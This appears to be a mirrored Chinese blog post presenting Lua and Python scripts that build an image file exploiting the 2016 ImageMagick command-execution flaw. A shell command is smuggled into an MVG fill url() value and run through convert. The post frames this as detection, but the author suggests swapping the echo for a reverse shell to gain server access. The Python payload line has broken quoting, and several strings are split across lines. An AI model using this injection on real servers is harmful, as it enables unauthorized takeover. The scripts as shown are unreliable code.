zoukankan      html  css  js  c++  java
  • ImageMagick远程命令执行工具检测工具

    ImageMagick这个漏洞昨天晚上就出来了,今天才有时间研究一下,今天自己也测试了一下

    效果图:

    =======================

    用lua写了一个检测脚本

     1 print ("Checking...")
     2 file=io.open("exp.jpg","w")
     3 --file:write("s")
     4 file:write("push graphic-context
    viewbox 0 0 640 480
    ")
     5 file:write("fill 'url(https://example.com/image.jpg")
     6 file:write('"|echo "success!!!)')
     7 file:write("'
    ")
     8 file:write("pop graphic-context")
     9 file:close()
    10 cmd=io.popen("convert exp.jpg test.png")
    11 result=cmd:read("*all")
    12 print(result)

    python版本:

     1 import os
     2 
     3 file = open("./x","w")
     4 file.write("push graphic-context
    ")
     5 file.write("viewbox 0 0 640 480
    ")
     6 file.write("fill 'url(https://example.com/image.jpg"|echo "dangerous!)'
    ")
     7 file.write("pop graphic-context
    ")
     8 file.close()
     9 
    10 res = os.system("convert ./x ./y 2>/dev/null")
    11 if os.path.exists("x"):
    12     os.remove("x")
    13 if os.path.exists("y"):
    14     os.remove("y")

    如果存在返回

    当然playload自己改吧,可以直接反弹个shell回来,直接拿到服务器权限

    附上一篇分析文章:

    http://ricterz.me/posts/Write%20Up%3A%20Remote%20Command%20Execute%20in%20Wordpress%204.5.1?_=1462399591384&from=groupmessage&isappinstalled=0

  • 相关阅读:
    intellij idea cpu占用率太大太满 运行速度太慢解决方案
    IntelliJ IDEA详细配置和使用(Java版)
    Bzoj2882 工艺
    SPOJ
    Bzoj2599 [IOI2011]Race
    Codeforces Round #398 (Div. 2) A-E
    Bzoj3653 谈笑风生
    Bzoj3652 大新闻
    URAL1960 Palindromes and Super Abilities
    Bzoj3676 [Apio2014]回文串
  • 原文地址:https://www.cnblogs.com/sevck/p/5462365.html
Copyright © 2011-2022 走看看